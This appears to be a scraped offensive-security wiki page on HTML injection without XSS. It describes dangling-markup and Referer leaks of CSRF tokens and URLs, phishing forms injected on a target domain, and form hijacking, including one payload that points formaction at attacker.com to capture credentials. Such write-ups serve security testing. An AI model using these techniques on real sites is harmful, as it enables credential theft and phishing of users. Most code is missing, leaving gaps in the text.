HTML Injection
Tricks possible with malicious HTML, in case XSS is not quite possible
Last updated
Tricks possible with malicious HTML, in case XSS is not quite possible
Last updated
The idea of is to write incomplete HTML that slots sensitive information into some leakable field, such as an <img src=
. By starting it with a '
but not ending it, any other HTML will be appended to it, finally being close by a natural '
anywhere below the injection point.
This results in a request to the following URL, which the attacker can decode to get the value of the sensitive CSRF token:
One annoying thing to work with is that Chromium denies any URLs (or target
values) containing newlines. If the leaked content contains any newlines, as is pretty common for HTML, the attacker cannot receive a request. Minifiers will sometimes remove newlines as they are unnecessary, but more often than not, you will have to deal with this. Firefox still allows newlines in URLs, though, so you're not left without impact.
Another idea is to use <textarea>
, as it will only be closed by the </textarea>
string, or at the end of the document. You can then wrap this in a form to an attacker with a large submit button that leaks the value on click:
While this works on Firefox too, unfortunately Chromium also has a protection against this. There needs to be a natural </textarea>
somewhere after your injection point.
One very creative idea to bypass this restriction without scripts is if <iframe>
tags are allowed with a src=data:
. If this is the case, you can start a document with a UTF-16 charset and start a URL from there. The content after it will still be included in the src=
, but is decoded as UTF-16, creating random chinese characters. The URL will then contain these high unicode characters instead of newlines, so they are allowed.
We'll use a leak method that automatically closes itself at the end of the document:
Any leak-worthy content can now be added to the end, until a '
closes it off:
In the browser, the content inside the iframe now looks like our injected prefix, with some random characters after it. This causes the background image request to be sent:
The above leak can be decoded back into the original characters by reading the UTF-16 characters as bytes. This is easily done in Python:
Although note that at this point, you are likely able to leak content through CSS Injection as well.
When you are able to create an iframe with a remote source, the name=
attribute is leakable cross-origin by reading the window.name
variable as the attacker. This may include newlines even on Chromium, because it is not a URL or target:
This same attack works with <object data=>
and <embed src=>
tags too, which may have a more lax CSP.
Using the following injection, it is possible to leak the current URL via the Referer request header:
It will include all query parameters, and we can put sensitive dangled information in there by making a form with a GET method first:
This action=
points to the location where the second referer-leaking HTML injection is stored. After clicking anywhere, the form submits and the value of the textarea is put into the ?leak=
query parameter. This allows it to be leaked by the referer payload:
This will trigger the following request, that the attacker can decode to find the leaked information:
If the HTML-injection is reflected with a GET parameter, you can elegantly include this parameter in the form submission to the vulnerable endpoint:
It will redirect the victim to the current path with query parameters like:
Then, the same as with the stored example happens, the injected referer payload leaks the current URL with &leak=
, and the attacker can decode it from their server logs.
If you can inject <style>
tags, check out the following page on how to abuse that to leak other content on the page through selectors and fonts:
In case you can only set the style=
attribute, you cannot work with selectors or define fonts. This limits your abilities, but still allows two main ideas:
Set specific styles to full-screen any element you want, like an image to phish the user with a message and QR code, or even an iframe as explained in Iframes.
Use background-image: url(...)
to trigger a subresource request that can return a malicious Link:
header as explained in Link response header with preload.
The most straight-forward way would be to use a Header / CRLF Injection to set it as a header:
You'd now need to load any resource from an attacker's domain (like an <img>
), and the whole current URL with parameters is sent to the attacker.
When the CSP is in the way, a <meta http-equiv="Refresh">
cannot be blocked:
It allows a very simple way to leak the current URL through DOMPurify:
Individual elements can also be altered using the referrerpolicy=
attribute. This is useful if you have an attacker-controlled resource:
The <meta>
tag and referrerpolicy=
methods don't work on Firefox, as it denies less restricted policies via HTML for cross-site requests. Unless you are able to retrieve the Referer header from a same-site in any way, of course.
For more elements that request a certain URL and that you may control to send a referer to, check out the repository below with all known ways:
What this means is that all you need is for the target to load an <img>
that points to your server, and you can return the following response header:
This works for any subresource request to an attacker's domain, including things like stylesheet @import
or @font-face
if the CSP blocks images.
One idea is to use DOM Clobbering, which is a technique that uses id
's and other attributes of tags that make them accessible from JavaScript with the document.<name>
syntax. The possibility of this depends on what sinks are available, and should be evaluated case-by-case:
HTML is markup, so you can often use this to gain control over the page you are attacking in order to phish any users coming across it.
Combining an <iframe>
with <style>
, you can create a full-screen phishing page on the target domain, that may fool any user coming across it as the domain seems correct.
Having your site iframes on a target also gives you a reference to it via top
. Firstly, you can redirect the top-level page by setting its location =
:
If your injection is stored, it can be pretty convincing to suddenly be brought to a phishing page of the same application while browsing said application.
The previous phishing example is less likely to work on victims using a password manager, because the iframe is hosted on a different domain, it won't auto-complete like the user might be expecting. This can be improved by creating the phishing page natively inside your injection point.
Simply create a form with some inputs and a bunch of CSS (tip: re-use existing classes), recreating the real login page as closely as possible. But importantly, change the action=
to your attacker's domain in order to receive the credentials. It may look something like this:
Because this HTML is hosted on the target directly, password managers with auto-fill functionality will not know the difference between this and the real thing!
Apart from leaking form inputs, you can also use forms to send specific requests form a trusted source. This can bypass checks like SameSite=
cookies, the Origin:
header or even CSRF tokens if JavaScript automatically adds them to any form on the page.
<input>
In rare cases it is possible to hijack existing forms to do what you want. For example, take the following source code and injection point, where we're able to add arguments:
An injection like " formaction="https://attacker.com
would cause pressing the button to send credentials to attacker.com
instead:
Another trick is to use the form=
attribute to attach an <input>
outside of any form to the form with that id=
. If that already has a CSRF token, you can add any values to it, which will be trusted when submitting. To get more use out of it, you can add another button with relative formaction=
that rewrites the destination, while retaining the CSRF token from the other form.
This effectively creates a perfect CSRF:
When clicking anywhere on the page, this sends a request like the following:
Check out the page below for more details on exploitation of CSRF:
Ideas taken from here:
This is now , and put into an iframe data:
URL:
The same can be done by loading a stylesheet from data:
like this ():
This next trick is for leaking with <textarea>
using a form, while the CSP directive disallows external hosts. It only works in Chromium, so this requires a natural </textarea>
after the injection point and the sensitive data.
The request header is sent by default for every request, containing the url the request was sent from. It means that something as simple as clicking a link going to an attacker from a target's domain, will leak the target's domain on which the link was clicked to the attacker. Well, that's how it used to work. Nowadays the defaults are more sensible, only sending the origin of the target instead of the full path and query parameters. This is controlled by the .
Query parameters can be very sensitive in situations like the technique, where you place the authorization code on a URL without using it, then leak it to use for yourself. Leakage through the Referer:
header still has potential if you are able to alter the referrer policy.
This situation is unlikely though, something more common is the ability to insert limited HTML on a page. You can use this to alter the referrer policy using a tag:
Interestingly, the <meta>
tag applies to the whole page, even during (without inserting into the DOM, ). This means client-side sanitizers that use this parsing function will accidentally apply the referrer policy before it can be sanitized!
This next trick feels like a bug in Chromium, but it's just an old feature that was never removed.
shared that you can alter the referrer policy for a preload request that you give in a Link:
response header to any subresource that goes to your server.
This can commonly be used to overwrite existing functions and crash them, or pollute element properties during HTML sanitization ( & ).
It also allows you to trigger handlers for all kinds of exploitation. Read more details on the page below:
<textarea>